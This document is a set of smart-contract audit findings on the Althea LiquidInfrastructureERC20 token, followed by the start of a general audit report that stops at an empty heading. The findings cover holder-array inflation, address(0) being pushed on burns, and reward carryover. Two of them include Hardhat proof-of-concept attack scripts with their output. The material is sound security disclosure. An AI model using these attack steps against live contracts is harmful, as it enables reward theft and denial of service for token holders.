Althea Liquid Infrastructure - 0xAadi's results

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142-L145

Vulnerability details

The vulnerability has been identified in the LiquidInfrastructureERC20 contract, where an attacker can exploit zero-token transfers to manipulate/inflate the holder array. This attack involves sending zero-token transactions to an approved holder whose balance is zero. Despite not transferring any actual tokens, this action results in the recipient's address being added to the holder array multiple times.

The consequences of this vulnerability include Reward Theft, Gas Griefing, Permanent Denial of Service (DOS). This vulnerability poses a significant risk to the LiquidInfrastructureERC20 contract's reward distribution system and its overall operational integrity, threatening the equitable allocation of rewards and the contract's usability.

Impacts

1. Exploitation of Reward Distribution: An attacker with an approved holder address could exploit the lack of checks on 0 token transfers to inflate the holders array with multiple entries of their own address. During the execution of the distribute function, this could result in the attacker receiving a disproportionate amount of the distributed tokens, effectively stealing a significant portion of the rewards intended for legitimate holders. This manipulation undermines the fairness and integrity of the reward distribution process.

2. Increased Gas Costs and Risk of DOS: The inflated holders array can lead to increased gas costs for functions that iterate over the array, which can be exploited for gas griefing. This affects several key functions within the contract:

   • Distribution: The distribute function iterate over the holders array to distribute rewards. An inflated array could significantly increase the cost of these distributions and potentially cause them to fail due to out-of-gas errors if the array is too large. Subsequently, this affects the following functions that call the distribute function: distributeToAllHolders, mintAndDistribute, burnAndDistribute, and burnFromAndDistribute.
   • Transfer: The _beforeTokenTransfer and _afterTokenTransfer functions are called during token transfers and may iterate over the holders array to update the list of holders. An excessively large holders array could make transfers more expensive and even cause them to fail.
   • Minting and Burning: When new tokens are minted or existing tokens are burned, the _beforeTokenTransfer and _afterTokenTransfer functions may need to iterate over the holders array to add or remove addresses. A large holders array could increase the cost of these operations and risk transaction failures, potentially leading to a permanent denial of service (DOS) for these critical functions.

3. Temporary DOS During Distribution and Ineffective distributeToAllHolders Function: The LockedForDistribution flag prevents certain actions while a distribution is in progress. An inflated holders array could prolong the distribution process, extending the lock period and temporarily disabling operations like token transfers, minting, burning and withdrawals from the ManagedNFTs collection.

   Additionally, the distributeToAllHolders function becomes less useful and more costly to execute because it attempts to distribute rewards to all entries in the holders array, including any duplicates. If the distribute function cannot complete due to the size of the holders array, the contract could remain locked, and no further distributions, mints, burns, transfers or withdrawals from the ManagedNFTs collection could occur until the issue is resolved.

4. Compromised Contract Functionality: The overall functionality and reliability of the contract are compromised, as the core mechanisms for distribution and token management are disrupted by the inflated holders array.

Proof of Concept

The vulnerability arises from the following code in the _beforeTokenTransfer function:

142:    bool exists = (this.balanceOf(to) != 0);
143:    if (!exists) {
144:        holders.push(to);
145:    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L142C1-L145C10

This code adds the to address to the holders array if it does not already have a balance, without checking if the transfer amount is greater than zero.

Once the holder array is inflated too much it can cause DOS or gas griefing on the following lines

144:    holders.push(to);

171:    for (uint i = 0; i < holders.length; i++) {

214:    for (i = nextDistributionRecipient; i < limit; i++) {

A DOS attack targeting the distribute() function can be mitigated by limiting the number of distributions processed in a single function call, as determined by the function's input parameter.

However, this approach requires the user or contract owner executing distribute() to potentially incur substantial gas costs. Depending on the size of the holders array and the current gas prices, these costs may become prohibitively expensive, making it economically infeasible for users to initiate the distribution at times. Subsequently the mintAndDistribute, burnAndDistribute and burnFromAndDistribute become expensive.

Please refer to the distribute function for details on how distributions are processed:

    function distribute(uint256 numDistributions) public nonReentrant {
        // ... code omitted for brevity ...

        uint256 limit = Math.min(
            nextDistributionRecipient + numDistributions,
            holders.length
        );

        uint i;
        for (i = nextDistributionRecipient; i < limit; i++) {
            address recipient = holders[i];
            if (isApprovedHolder(recipient)) {
                uint256[] memory receipts = new uint256[](
                    distributableERC20s.length
                );
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

                emit Distribution(recipient, distributableERC20s, receipts);
            }
        }

        // ... code omitted for brevity ...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198C5-L237C6

The distribute function is designed to iterate over the holders array and transfer a share of the distributableERC20s tokens to each approved holder based on their entitlement. The entitlement is calculated as a product of the holder's balance and a pre-calculated entitlement per unit for each distributable ERC20 token.

Due to this design, distribute() might take significant time to process all the distributions, and during this period, the transfers, mints, and burns of the token will be prevented until all rewards have been paid out.

POC

Attack Idea 1: Attacker Stealing Rewards

1. The attacker identifies or creates an approved holder address with a zero balance.
2. The attacker sends multiple zero-token transfers to this approved holder address.
3. Each zero-token transfer results in the to address being added to the holders array, despite no actual tokens being transferred, due to the lack of a check for the transfer amount in the _beforeTokenTransfer function.
4. The holder address subsequently receives tokens through minting or transfers from other holders.
5. When the distribute function is called, it includes the to address multiple times in its reward calculation, proportional to the number of times the address appears in the holders array.
6. As a result, the attacker's holder address receives a multiplied share of the rewards, effectively stealing from the rightful distribution to other token holders.

Attack Idea 2: Attacker Causing Gas Griefing and DOS

1. The attacker repeatedly sends zero-token transfers to various approved holder addresses with zero balances.
2. This inflates the holders array with redundant entries, significantly increasing its size without any actual change in token ownership.
3. The bloated holders array leads to increased gas costs for all contract functions that iterate over it, such as distribute, _beforeTokenTransfer, and _afterTokenTransfer.
4. The increased gas costs can result in transactions failing due to out-of-gas errors, especially when the holders array becomes very large.
5. This can be exploited to perform gas griefing attacks, where the attacker intentionally increases the cost of operations for legitimate users.
6. In extreme cases, the contract may enter a state of permanent denial of service (DOS), where critical functions like token transfers, minting, and burning consistently fail due to gas limitations, rendering the contract unusable.

Coded POC

The following script explains how an attacker can inflate holders array. Place this file under test folder and run using npm run test

<details> <summary>Code</summary>

import chai from "chai";
import { ethers } from "hardhat";
import { deployContracts, deployLiquidERC20 } from "../test-utils";
import { LiquidInfrastructureERC20 } from "../typechain-types/contracts";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
const { expect } = chai;

// This test makes assertions about the LiquidInfrastructureERC20 contract by running it on hardhat
async function liquidErc20Fixture() {
  const signers = await ethers.getSigners();
  const nftAccount1 = signers[0];
  const nftAccount2 = signers[1];
  const nftAccount3 = signers[2];
  const erc20Owner = signers[3];
  const holder1 = signers[4];
  const holder2 = signers[5];
  const holder3 = signers[6];
  const holder4 = signers[7];
  const badSigner = signers[8];

  // Deploy several ERC20 tokens to use as revenue currencies
  const { testERC20A, testERC20B, testERC20C } = await deployContracts(
    erc20Owner
  );
  const erc20Addresses = [
    await testERC20A.getAddress(),
    await testERC20B.getAddress(),
    await testERC20C.getAddress(),
  ];

  // Deploy the LiquidInfra ERC20 token with no initial holders nor managed NFTs
  const infraERC20 = await deployLiquidERC20(
    erc20Owner,
    "Infra",
    "INFRA",
    [],
    [],
    500,
    erc20Addresses
  );

  return {
    infraERC20,
    testERC20A,
    testERC20B,
    testERC20C,
    signers,
    nftAccount1,
    nftAccount2,
    nftAccount3,
    erc20Owner,
    holder1,
    holder2,
    holder3,
    holder4,
    badSigner,
  };
}

// Attack function
async function attack(
  infraERC20: LiquidInfrastructureERC20,
  holder: HardhatEthersSigner,
  attacker: HardhatEthersSigner
) {
  // 1. Approve holder 1 to receive tokens
  await expect(infraERC20.approveHolder(holder.address)).to.not.be.reverted;

  const infraERC20Attacker = infraERC20.connect(attacker);
  const maxCount = 100;
  // 2. Attacker transferring 0 token to holder 1
  for (let i = 0; i <= maxCount; i++) {
    await infraERC20Attacker.transfer(holder.address, 0);
  }

  // 3. Log the elements of holder array, Here you can see that the holder array is get inflated
  console.log("\nLet's see the duplication in holder array\n");
  console.log("0'th address in holder array: ", await infraERC20.holders(0));
  console.log("1'st address in holder array: ", await infraERC20.holders(1));
  console.log(".");
  console.log(".");
  console.log(
    `${maxCount - 1}'th address in holder array:`,
    await infraERC20.holders(maxCount - 1)
  );
}

describe("LiquidInfrastructureERC20 Holder Inflation Attack", function () {
  it.only("Attack holders", async function () {
    const { infraERC20, holder1, holder2, badSigner } =
      await liquidErc20Fixture();

    attack(infraERC20, holder1, badSigner);
  });
});

Output

  LiquidInfrastructureERC20 Holder Inflation Attack
    ✔ Attack holders (2230ms)

Let's see the duplication in holder array

0'th address in holder array:  0x2fFd013AaA7B5a7DA93336C2251075202b33FB2B
1'st address in holder array:  0x2fFd013AaA7B5a7DA93336C2251075202b33FB2B
.
.
99'th address in holder array: 0x2fFd013AaA7B5a7DA93336C2251075202b33FB2B


  1 passing (10s)

</details>

Tools Used

Manual review and hardhat test

Recommended Mitigation Steps

1. Validate Non-Zero Transfers: Modify the _beforeTokenTransfer function to include a check that ensures the transfer amount is greater than zero before adding an address to the holders array. This prevents the array from being inflated with entries for zero-token transfers.

    bool exists = (this.balanceOf(to) != 0);
-    if (!exists) {
+    if (!exists && amount > 0) {
        holders.push(to);
    }

2. Optimize Holder Tracking: Implement a more efficient data structure, such as a mapping, to track unique holder addresses and their index of the holder array. This will help to prevent duplicate entries and reduce the complexity of holder duplication.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127-L146

Vulnerability details

The LiquidInfrastructureERC20 contract exhibits a critical flaw where the zero address (address(0)) is automatically added to the holders array during every token burn transaction. This occurs due to a lack of proper validation in the _beforeTokenTransfer function, which should prevent the zero address from being included in the holder tracking mechanism. The presence of address(0) in the holders array can lead to unnecessary complications and inefficiencies within the contract's operations, particularly in functions that rely on iterating over the array of token holders.

While minting new tokens by the owner can remove most instances of address(0) from the holders array due to cleanup logic in the _afterTokenTransfer function, this mitigation is ineffective if a Denial of Service (DOS) condition has already occurred. In such a state, the holders array cannot be cleared, and the contract's functionality is severely compromised.

An attacker can exploit this vulnerability to inflate the holders array by conducting burn transactions with zero tokens (An approved or disapproved token holder can do this by burning a negligible amount of tokens, such as 1 wei). This action causes the zero address to be repeatedly added to the array, which can significantly increase its size. The inflated holders array may lead to a Denial of Service (DOS) attack, as critical functions that iterate over the array could fail due to gas constraints.

Furthermore, this vulnerability can be used for gas griefing, where the attacker intentionally raises transaction costs for legitimate users and the contract owner, thereby hindering the contract's usability and disrupting its intended operations.

Impact:

• Gas Griefing: The inflated holders array increases gas costs for functions that iterate over it, such as distribute. Attackers can exploit this to increase operational costs for legitimate users.
• Denial of Service (DOS): A bloated holders array can cause functions that iterate over it to fail due to out-of-gas errors, disrupting critical contract functionalities such as token transfers, minting, burning, and reward distribution, potentially leading to a DOS condition.
• Compromised Contract Functionality: The overall functionality and reliability of the contract are compromised, as the core mechanisms for distribution and token management are disrupted by the inflated holders array. Affected functionalities include, but are not limited to, distributeToAllHolders, mintAndDistribute, burnAndDistribute, and burnFromAndDistribute, which all rely on a clean and accurate holders array to operate correctly.

Proof of Concept

The problem lies in the _beforeTokenTransfer function, which is called during the burn process and does not properly prevent the zero address from being added to the holders array.

127:    function _beforeTokenTransfer(
128:        address from,
129:        address to,
130:        uint256 amount
131:    ) internal virtual override {
132:        require(!LockedForDistribution, "distribution in progress");
133: @-->   if (!(to == address(0))) { // @audit This line is only applicable for transfer/mint
134:            require(
135:                isApprovedHolder(to),
136:                "receiver not approved to hold the token"
137:            );
138:        }
139:        if (from == address(0) || to == address(0)) {
140:            _beforeMintOrBurn();
141:        }
142:        bool exists = (this.balanceOf(to) != 0);
143: @-->   if (!exists) { // @audit Here there is no check to exclude address(0)
144:            holders.push(to);
145:        }
146:    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L127C4-L146C6

In this code, the exists variable is used to check if the to address already has a balance. If it does not, the to address is added to the holders array. However, there is no check to ensure that to is not the zero address. During a burn operation, to will be address(0), and since address(0) cannot have a balance, it will be added to the holders array.

Now, let's consider the burn operation itself. When a user burns tokens, the _burn function is called, which in turn calls _beforeTokenTransfer with to set to address(0).

The _burn function will call _beforeTokenTransfer(from, address(0), amount), and due to the missing check against address(0), the zero address will be added to the holders array.

An attacker or any user can exploit this by burning a negligible amount of tokens, such as 1 wei or 0. This would trigger the _beforeTokenTransfer function and, due to the lack of a check against address(0), add the zero address to the holders array.

Coded POC

The following script explains how holders array is inflate with address(0) while burning tokens. Place this file under test folder and run using npm run test

<details> <summary>Code</summary>

import chai from "chai";
import { ethers } from "hardhat";
import { deployContracts, deployLiquidERC20 } from "../test-utils";
import { LiquidInfrastructureERC20 } from "../typechain-types/contracts";
import { HardhatEthersSigner } from "@nomicfoundation/hardhat-ethers/signers";
const { expect } = chai;

// This test makes assertions about the LiquidInfrastructureERC20 contract by running it on hardhat
async function liquidErc20Fixture() {
  const signers = await ethers.getSigners();
  const nftAccount1 = signers[0];
  const nftAccount2 = signers[1];
  const nftAccount3 = signers[2];
  const erc20Owner = signers[3];
  const holder1 = signers[4];
  const holder2 = signers[5];
  const holder3 = signers[6];
  const holder4 = signers[7];
  const badSigner = signers[8];

  // Deploy several ERC20 tokens to use as revenue currencies
  const { testERC20A, testERC20B, testERC20C } = await deployContracts(
    erc20Owner
  );
  const erc20Addresses = [
    await testERC20A.getAddress(),
    await testERC20B.getAddress(),
    await testERC20C.getAddress(),
  ];

  // Deploy the LiquidInfra ERC20 token with no initial holders nor managed NFTs
  const infraERC20 = await deployLiquidERC20(
    erc20Owner,
    "Infra",
    "INFRA",
    [],
    [],
    500,
    erc20Addresses
  );

  return {
    infraERC20,
    testERC20A,
    testERC20B,
    testERC20C,
    signers,
    nftAccount1,
    nftAccount2,
    nftAccount3,
    erc20Owner,
    holder1,
    holder2,
    holder3,
    holder4,
    badSigner,
  };
}

// Attack function
async function attack(
  infraERC20: LiquidInfrastructureERC20,
  holder: HardhatEthersSigner,
  attacker: HardhatEthersSigner
) {
  // 1. Approve holder
  await expect(infraERC20.approveHolder(holder.address)).to.not.be.reverted;

  // 2. Mint 500 token to holder address
  await expect(infraERC20.mint(holder.address, 500)).to.not.be.reverted;
  console.log("1. 500 tokens minted to holder adress");
  console.log("Holder address added to holder array as 0'th element: ", await infraERC20.holders(0));
  
  const infraERC20Holder = infraERC20.connect(holder);

  // 3. 10 token burned by holder
  await expect(infraERC20Holder.burn(10)).to.not.be.reverted;
  console.log("\n 2. 10 tokens burned by holder");
  console.log("address(0) added to holder array as 1'th element: ",await infraERC20.holders(1));

  // 4. 10 token burned by holder
  await expect(infraERC20Holder.burn(10)).to.not.be.reverted;  
  console.log("\n 3. 10 tokens burned by holder");
  console.log("address(0) added to holder array as 2'th element: ",await infraERC20.holders(2));

  const infraERC20Attacker = infraERC20.connect(attacker);

  // 5. 0 token burned by non approved attacker
  await expect(infraERC20Attacker.burn(0)).to.not.be.reverted;
  console.log("\n 4. 0 tokens burned by attacker");
  console.log("address(0) added to holder array as 3'rd element: ",await infraERC20.holders(3));
}

describe("LiquidInfrastructureERC20 Holder Inflation Attack", function () {
  it.only("Attack holders", async function () {
    const { infraERC20, holder1, holder2, badSigner } =
      await liquidErc20Fixture();

    attack(infraERC20, holder1, badSigner);
  });
});

Output

  LiquidInfrastructureERC20 Holder Inflation Attack
    ✔ Attack holders (2289ms)
1. 500 tokens minted to holder adress
Holder address added to holder array as 0'th element:  0x2fFd013AaA7B5a7DA93336C2251075202b33FB2B

 2. 10 tokens burned by holder
address(0) added to holder array as 1'th element:  0x0000000000000000000000000000000000000000

 3. 10 tokens burned by holder
address(0) added to holder array as 2'th element:  0x0000000000000000000000000000000000000000

 4. 0 tokens burned by attacker
address(0) added to holder array as 3'rd element:  0x0000000000000000000000000000000000000000


  1 passing (3s)

</details>

Tools Used

Manual review and hardhat test

Recommended Mitigation Steps

Update Validation Logic: Amend the _beforeTokenTransfer function to include a conditional check that specifically excludes address(0) from being added to the holders array. This check should be placed before the logic that appends new addresses to the array.

    bool exists = (this.balanceOf(to) != 0);
-    if (!exists) {
+    if (!exists && to != address(0)) {
        holders.push(to);
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L270

Vulnerability details

The LiquidInfrastructureERC20 contract's distribution logic calculates the entitlement of rewards based on the total supply of LiquidInfrastructureERC20 tokens, without distinguishing between approved and disapproved holders. As a result, when disapproved holders are excluded from a distribution cycle, their share of the rewards is not distributed. This undistributed portion is then carried over to the next distribution cycle, where it may be distributed among a potentially different set of approved holders, including any new holders added since the last cycle. This can lead to a situation where previously approved holders receive a smaller share of the rewards than they are entitled to, as the undistributed portion from disapproved holders is shared with new approved holders.

Impact

1. Reduced Rewards for Existing Approved Holders: Approved holders may receive less than their rightful share of rewards due to the carryover of undistributed tokens intended for disapproved holders.
2. Unintended Benefit to New Holders: New approved holders may receive a share of the undistributed rewards that should have been allocated to approved holders from the previous distribution cycle.
3. Complexity in Reward Tracking: The carryover of undistributed rewards adds complexity to tracking and ensuring the accurate allocation of rewards across distribution cycles.

Proof of Concept

The distribute function is responsible for allocating rewards to token holders. It invokes the _beginDistribution function to calculate the total amount available for distribution. During this process, the function iterates over the array of distributableERC20s to determine each holder's entitlement based on the contract's balance of each ERC20 token and the total supply of LiquidInfrastructureERC20 tokens. This total supply calculation includes the balances of both approved and disapproved holders. However, since disapproved holders do not receive their entitlements, these amounts are not distributed and are effectively carried forward to the next distribution round.

    function distribute(uint256 numDistributions) public nonReentrant {
        // --- Other Code ---
        if (!LockedForDistribution) {
            // --- Other Code ---
@-->        _beginDistribution(); // @audit this function will calculate total amount available for distribution.
        }

        // --- Other Code ---

        uint i;
        for (i = nextDistributionRecipient; i < limit; i++) {
            address recipient = holders[i];
@-->        if (isApprovedHolder(recipient)) { // @audit : Disapproved holders' entitlements are not distributed, this will effectively carry forward to next round
                uint256[] memory receipts = new uint256[](
                    distributableERC20s.length
                );
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }

                emit Distribution(recipient, distributableERC20s, receipts);
            }
        }
        // --- Other Code ---
    }

    function _beginDistribution() internal {
        // --- Other Code ---

        // Calculate the entitlement per token held
        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
@-->        uint256 entitlement = balance / supply; // @audit entitlement is calculated based on the total supply which include disapproved holders balance
            erc20EntitlementPerUnit.push(entitlement);
        }
        // --- Other Code ---

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/bd6ee47162368e1999a0a5b8b17b701347cf9a7d/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198C1-L281C6

In the next distribution cycle, the undistributed rewards from the previous cycle are included, potentially being distributed to a different set of holders, including any new approved holders.

PoC

let's consider a scenario involving three holders: Alice, Bob, and Alex.

Alice holds 2,000 tokens Bob holds 3,000 tokens Alex holds 5,000 tokens.

However, Alex is a disapproved holder and is not eligible to receive distributions.

The total supply of LiquidInfrastructureERC20 tokens is 10,000, which is the sum of the tokens held by all three holders.

Assume the contract has 1,000 distributableERC20s tokens available for distribution. The distribution should be allocated based on each holder's proportion of the total supply.

Here's the initial distribution calculation:

• Alice's share: (2000 / 10000) * 1000 = 200 tokens
• Bob's share: (3000 / 10000) * 1000 = 300 tokens
• Alex's share (disapproved): (5000 / 10000) * 1000 = 500 tokens

Since Alex is disapproved, he does not receive his 500 tokens. These tokens remain undistributed within the contract. The problem arises in the next distribution cycle, especially if new approved holders are added or existing holders change their holdings. If the undistributed 500 tokens are carried over, they may be incorrectly factored into the next distribution.

For instance, if a new holder, Charlie, enters the scene after receiving 2,000 tokens minted by the contract owner. This event increases the total supply of LiquidInfrastructureERC20 tokens to 12,000. Alex, who remains a disapproved holder, still possesses his original 5,000 tokens. Meanwhile, the 500 tokens from the previous cycle that were not distributed due to Alex's disapproved status are awaiting redistribution.

With the total supply now adjusted to account for the newly minted tokens for Charlie, the distribution calculations for the upcoming cycle, inclusive of the carried-over tokens, are as follows:

• Updated total supply: 12,000 tokens
• New distribution amount (including carried over): 1,500 distributableERC20s tokens (1,000 + 500)

The recalculated distribution would yield:

• Alice's share: (2000 / 12000) * 1500 = 250 tokens
• Bob's share: (3000 / 12000) * 1500 = 375 tokens
• Alex's share (disapproved): (5000 / 12000) * 1500 = 625 tokens (Alex's share remains undistributed due to his status)
• Charlie's share: (2000 / 12000) * 1500 = 250 tokens

In this scenario, Alice, Bob, and Charlie receive their shares based on the new total supply, which includes Charlie's minted tokens. However, the undistributed 500 tokens from Alex's share in the previous cycle are now effectively spread across Alice, Bob, and Charlie's distributions. This dilutes the rewards that Alice and Bob would have received if the undistributed tokens had been reallocated to them in the first cycle, considering they were the only approved holders at that time.

Tools Used

Manual Review

Recommended Mitigation Steps

Adjust Entitlement Calculation: Revise the entitlement calculation to exclude the tokens held by disapproved holders from the total supply considered for distribution. This change will ensure that only the tokens held by approved holders are included in the calculation, preventing the carryover of undistributed rewards to future cycles and maintaining the intended proportionality of the distribution.

Sample Code

    function _beginDistribution() internal {
        // --- Other Code ---
        // Calculate the entitlement per token held
-       uint256 supply = this.totalSupply();
+       uint256 supply = this.totalSupply() - getTotalDisapprovedHoldersBalance();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply; 
            erc20EntitlementPerUnit.push(entitlement);
        }
        // --- Other Code ---
+   /**
+    * @dev Function to calculate the total balance held by disapproved holders.
+    * @return totalDisapprovedBalance The total balance of disapproved holders.
+    */
+   function getTotalDisapprovedHoldersBalance() public view returns (uint256 totalDisapprovedBalance) {
+       totalDisapprovedBalance = 0;
+       for (uint256 i = 0; i < holders.length; i++) {
+           if (!isApprovedHolder[holders[i]]) {
+               totalDisapprovedBalance += balanceOf(holders[i]);
+           }
+       }
+       return totalDisapprovedBalance;
+   }

Please note that iterating over a potentially large array can be gas-intensive.

Tracking the total balance of disapproved holders in another state variable is another alternative.

Assessed type

Math

Analysis Report - Althea Liquid Infrastructure

Table of Contents

1. Overview
2. Contracts
3. Auditing Approach
4. Architecture
5. Codebase Quality Analysis
6. Mechanism Review
7. Critical Issues
8. Centralisation Risk
9. Systemic Risk

Overview

This report presents a comprehensive analysis of the Althea Liquid Infrastructure protocol's smart contracts. The audit scrutinizes the contracts' functionality, security measures, and overall code quality, identifying critical issues and providing recommendations for improvement.

Contracts

The pivotal contracts in this audit for the Althea Liquid Infrastructure protocol are:

• contracts/LiquidInfrastructureERC20.sol: This contract is an ERC20 token designed to collect revenue from Liquid Infrastructure NFT contracts and distribute it to token holders. Holders of LiquidInfrastructureERC20 tokens are entitled to a share of the profits from the associated Liquid Infrastructure NFTs, allowing for passive income generation.

• contracts/LiquidInfrastructureNFT.sol: The LiquidInfrastructureNFT contract is an ERC721 token representing ownership of a Liquid Infrastructure Account within the Althea network. It is linked to the x/microtx module, which facilitates periodic revenue in ERC20 tokens. The LiquidInfrastructureERC20 contract uses the LiquidInfrastructureNFT to manage the withdrawal and distribution of these tokens to its holders.

• contracts/OwnableApprovableERC721.sol: This abstract contract defines key modifiers used by the LiquidInfrastructureNFT.sol contract. It ensures that certain functions are only executable by the token owner or an approved delegate, enhancing security and functionality.

Auditing Approach

During the audit of the Althea Liquid Infrastructure protocol's smart contracts, I conducted a thorough examination of the provided codebase, including the associated test files. My audit strategy encompassed an in-depth review of the Solidity code, with a particular emphasis on security aspects. To validate the functionality and robustness of the contracts, I compiled the code and executed a series of tests across various scenarios. Additionally, I verified the main invariants, explored attack ideas presented by the protocol in the scope. This rigorous analysis allowed me to assess the performance and security safeguards of the contracts under a range of conditions. Furthermore, I confirmed the integrity of the main invariants, brainstormed potential attack vectors, and took into account extra contextual details to ensure a comprehensive and meticulous audit process.

Architecture

Liquid Infrastructure NFT

This is the Tokenized Representation of Infrastructure Accounts. It issues a unique NFT (non-fungible token) that represents ownership of a Liquid Infrastructure Account. This account is typically associated with infrastructure involved in an Althea pay-per-forward network, such as internet service provision. The contract is designed to collect periodic revenue. On Althea-L1 chains, this revenue comes from the x/bank module, which conducts microtransactions as the payment layer for Althea networks.

Privileged Roles

• Owner: The contract owner is the initial holder of the NFT created upon contract deployment. This user has the highest level of privileges, like Setting Balance Thresholds and Withdrawing Balances.

• Approved User:These are users who have been granted specific permissions by the contract owner.Their privileges are Withdrawing Balances and Managing Thresholds

Functionalities

ERC20 Threshold

The contract interacts with the x/microtx module to manage the balance of revenue coins(USDC,USDT) within the Liquid Infrastructure Account. It sets thresholds to determine how much of each token should be retained in the contract, with excess amounts being deposited into the LiquidInfrastructureNFT contract.

Withdraw ERC20 Balance

Owners or Approved users of the Liquid Infrastructure Account can withdraw the accumulated ERC20 balances. This allows them to access the funds that have been converted and transferred to the contract.

Liquid Infrastructure ERC20

The LiquidInfrastructureERC20 contract is an ERC20 token designed to interface with Liquid Infrastructure NFT (Non-Fungible Token) contracts. The primary purpose of the contract is to collect revenue generated by these NFTs and distribute it to the holders of the LiquidInfrastructureERC20 tokens.

Privileged Roles

• Owner: The owner is the account that deployed the contract and has the highest level of privileges. The Ownable contract from OpenZeppelin provides onlyOwner modifier that restricts certain functions to be callable only by the owner. The owner has the ability to perform actions such as adding or releasing managed NFTs, approving or disapproving holders, and initiating distributions.

• Approved Holders: The approved holders can receive and hold the LiquidInfrastructureERC20 tokens. This role is managed through the HolderAllowlist and the approved holders are entitled to receive revenue through distribution.

Functionalities

Owner Privileged Functions

• Approve/Disapprove Holder: A mechanism to maintain a list of addresses that are authorized (or not authorized) to hold the contract's tokens. This feature is typically used to enforce certain restrictions on who can own or transact with the tokens.

• Add/Release NFTs: The Add/Release NFTs functionality refers to the ability to manage a collection of NFTs that the contract interacts with or controls. This functionality allows the contract owner to add new NFTs to the contract's management or release them from the contract's control.

• Set Distributable ERC20s: This is to define and update the list of ERC20 tokens that are eligible for distribution to the token holders. This feature is used for aggregate revenue or rewards in the form of ERC20 tokens and then distributed to the holders of the contract's native token.

• Mint InfraERC20: The mint function allows the contract to generate new InfraERC20 tokens. These tokens are typically credited to a specific address. Minting is a privileged action controlled by the contract owner. This ensures that new tokens are created responsibly and in accordance with the token's monetary policy.

Withdraw ERC20s from NFTs

This is to withdraw ERC20 tokens that may have accumulated in associated NFT contracts. NFTs associated with real-world assets or digital services that generate revenue. This revenue will be collected in the form of ERC20 tokens, which are held by the NFT contract until they are withdrawn.

This allows the contract to retrieve ERC20 tokens from the NFT contracts it manages. This withdrawal process transfers the accumulated tokens from the NFT contracts to the LiquidInfrastructureERC20 contract.

The contract prevents withdrawal from being performed while a distribution is in progress. This is to ensure the integrity of the distribution process and to prevent state changes that could affect the distribution.

Distribute ERC20s

The LiquidInfrastructureERC20 contract aggregates the revenue from the NFT contracts and distributes it among its token holders. The distribution is proportional to the number of tokens each holder owns, meaning that the more tokens a user holds, the larger their share of the revenue.

Users who hold LiquidInfrastructureERC20 tokens can earn additional ERC20 tokens as revenue. This creates an incentive mechanism for users to invest in and hold the LiquidInfrastructureERC20 tokens.

Burn InfraERC20

The burn function allows token holders or approved users to destroy a specified amount of InfraERC20 tokens from their balance. The contracts enforce a distribution before burning to maintain consistency in the contract's state, especially while the distribution amount per token is calculated based on the current total supply.

Transfer InfraERC20

The ERC20 transfer performs a few additional steps while doing the transfer. The contract checks whether the contract is currently locked for distribution and whether the recipient is an approved holder while performing a transfer. It also adds the recipient to the holders list if they are receiving tokens for the first time.And also it removes the sender from the holders list if their balance has dropped to zero as a result of the transfer.

Codebase Quality Analysis

The codebase exhibits a high level of quality by delivering clarity in functionality through self-explanatory code, employing simple functionalities and logic. And, its readability is enhanced due to the well-documented comments. Despite handling complex calculations, the code is inherently explanatory and highly understandable for both auditors and developers.

Modularity

The codebase demonstrates a high level of modularity, effectively segregating complex logics and operations into separate functions, particularly with the reward distribution. The use of distinct contracts to manage the access control contributes to reducing overall complexity.

Comments

Insufficient comments throughout the contracts limit the clarity of each function, requiring auditors and developers to invest more time in understanding the functionality. Improving comments to thoroughly explain the various functionalities would greatly enhance the code's accessibility and comprehension.

Access Controls

The codebase effectively employs access control mechanisms to ensure smooth execution of functions, it falls short in securing some critical functions. The distribute and withdrawFromManagedNFTs functions are publicly accessible, allowing any user to execute them without proper access checks. This lack of control could lead to scenarios where users initiate distribution or withdrawal processes but do not complete them, consequently burdening other users or the owner with the task of finishing these operations. Such situations could render these vital contract functions idle, disrupting the contract's critical operations until the pending actions are resolved.

Events

The contracts emit events for all functions that interact with users, which is a crucial feature for tracking and verifying contract activity. However, the events have not been optimized with appropriate indexing, which is a significant oversight. Proper indexing of event parameters is essential for enabling efficient searches and retrievals within event logs. Without indexing, users and applications may face challenges when attempting to filter and access specific event data.

Error Handling

